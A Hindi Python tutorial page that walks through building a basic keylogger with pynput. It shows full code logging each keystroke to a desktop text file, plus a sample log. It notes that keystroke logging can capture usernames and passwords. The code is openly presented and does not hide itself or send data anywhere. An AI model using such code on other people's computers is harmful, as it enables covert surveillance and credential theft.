Computer >> कंप्यूटर ट्यूटोरियल >  >> प्रोग्रामिंग >> Python

पायथन में कीलॉगर डिज़ाइन करना

यहां हम पायथन का उपयोग करके एक कीलॉगर विकसित करने जा रहे हैं। लेकिन उससे पहले, कीलॉगर क्या है? कीलॉगर एक प्रोग्राम है जिसके साथ हम कीस्ट्रोक्स की निगरानी करते हैं। ये कीस्ट्रोक्स एक लॉग फ़ाइल में संग्रहीत किए जाएंगे। हम इस कीस्ट्रोक का उपयोग करके उपयोगकर्ता नाम और पासवर्ड जैसी संवेदनशील जानकारी रिकॉर्ड कर सकते हैं।

कीलॉगर बनाने के लिए हम pynput मॉड्यूल का उपयोग करने जा रहे हैं। चूंकि यह पायथन की मानक लाइब्रेरी नहीं है, इसलिए हमें इसे इंस्टॉल करने की आवश्यकता हो सकती है।

pyxhook मॉड्यूल इंस्टॉल करना -

मैं pynput इंस्टॉल करने के लिए पिप का उपयोग करने जा रहा हूं:

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

अपने पायथन शेल में मॉड्यूल आयात करने का प्रयास करके जांचें कि इंस्टॉलेशन सफल है या नहीं:

>>> import pynput
>>>

कीलॉगर बनाना शुरू करें

एक बार आवश्यक लाइब्रेरी इंस्टॉल हो जाने पर, आवश्यक पैकेज और मेथड आयात करें। कीबोर्ड की निगरानी करने के लिए, हम pynput.keyboard मॉड्यूल के key और listener मेथड का उपयोग करने जा रहे हैं। हम कीस्ट्रोक्स को फ़ाइल में लॉग करने के लिए लॉगिंग मॉड्यूल का भी उपयोग करने जा रहे हैं।

from pynput.keyboard import Key, Listener
import logging

अगला, हम वह पथ सेट करने जा रहे हैं जहां हम अपनी लॉग फ़ाइलों को संग्रहीत करने जा रहे हैं, किस मोड में लॉग संग्रहीत किए जाएंगे और प्रारूप।

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

फिर हम on_press() फ़ंक्शन को कॉल करते हैं जो कीप्रेस के लिए एक परिभाषा बनाता है और कुंजी को पैरामीटर के रूप में लेता है।

def on_press(key):
    logging.info(str(key))

अंतिम चीज जो हम करने जा रहे हैं वह है Listener का एक इंस्टेंस सेट करना और इसमें on_press मेथड को परिभाषित करना और फिर इंस्टेंस को मुख्य थ्रेड से जोड़ना।

with Listener(on_press=on_press) as listener:
    listener.join()

उपरोक्त चरणों को मिलाकर, हम अपना अंतिम प्रोग्राम बनाने के चरण में हैं:

from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

जब मेरी स्क्रिप्ट चल रही थी, मैंने एक ब्राउज़र खोलने और "hello world, Wikipedia" टाइप करने का प्रयास किया। आइए देखें कि हमारी लॉग फ़ाइल का क्या हुआ -

मैं देख सकता हूं, मेरे कंप्यूटर डेस्कटॉप पर एक "keyLog.txt" फ़ाइल बनाई गई है और यदि मैं इसकी सामग्री देखने का प्रयास करता हूं तो मुझे मिलता है -

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

तो हम देख सकते हैं कि मैंने अपने ब्राउज़र में जो भी टाइप करने का प्रयास किया, हर कीस्ट्रोक इस फ़ाइल में संग्रहीत हैं। तो, हमने यहां पायथन में एक बहुत ही सरल कीलॉगर बनाया है।

  1. पायथन में issuperset() फंक्शन पायथन में issuperset() फंक्शन

    इस लेख में, हम पायथन में issuperset() और विभिन्न क्षेत्रों में इसके कार्यान्वयन के बारे में जानेंगे।यह मेथड बूलियन True वापस करता है यदि सेट B के सभी तत्व सेट A के सभी तत्वों को समाहित करते हैं जिसे तर्क के रूप में पारित किया जाता है और झूठा वापस करता है यदि A के सभी तत्व B में मौजूद नहीं हैं।इसका म

  1. - पायथन में अंडरस्कोर (_)

    पायथन में कुछ मामलों में हम सिंगल अंडरस्कोर (_) और कुछ मामलों में डबल अंडरस्कोर (__) का उपयोग करते हैं। पायथन में निम्नलिखित मामले हैं, जहां हम अंडरस्कोर का उपयोग करते हैं। यदि हम इंटरप्रेटर में अंतिम अभिव्यक्ति का मान स्टोर करना चाहते हैं। यदि हम कुछ मानों को अनदेखा करना चाहते हैं। वेरिएबल या फ़ं

  1. - पायथन में क्वाइन (Quine)

    क्वाइन एक प्रोग्राम है, जो कोई इनपुट नहीं लेता, लेकिन यह आउटपुट उत्पन्न करता है। यह अपना स्वयं का सोर्स कोड दिखाएगा। इसके अतिरिक्त, क्वाइन की कुछ शर्तें हैं। हम प्रोग्राम के अंदर सोर्स कोड फ़ाइल नहीं खोल सकते। उदाहरण कोड a=a=%r;print (a%%a);print (a%a) आउटपुट a=a=%r;print (a%%a);print (a%a) यह क्व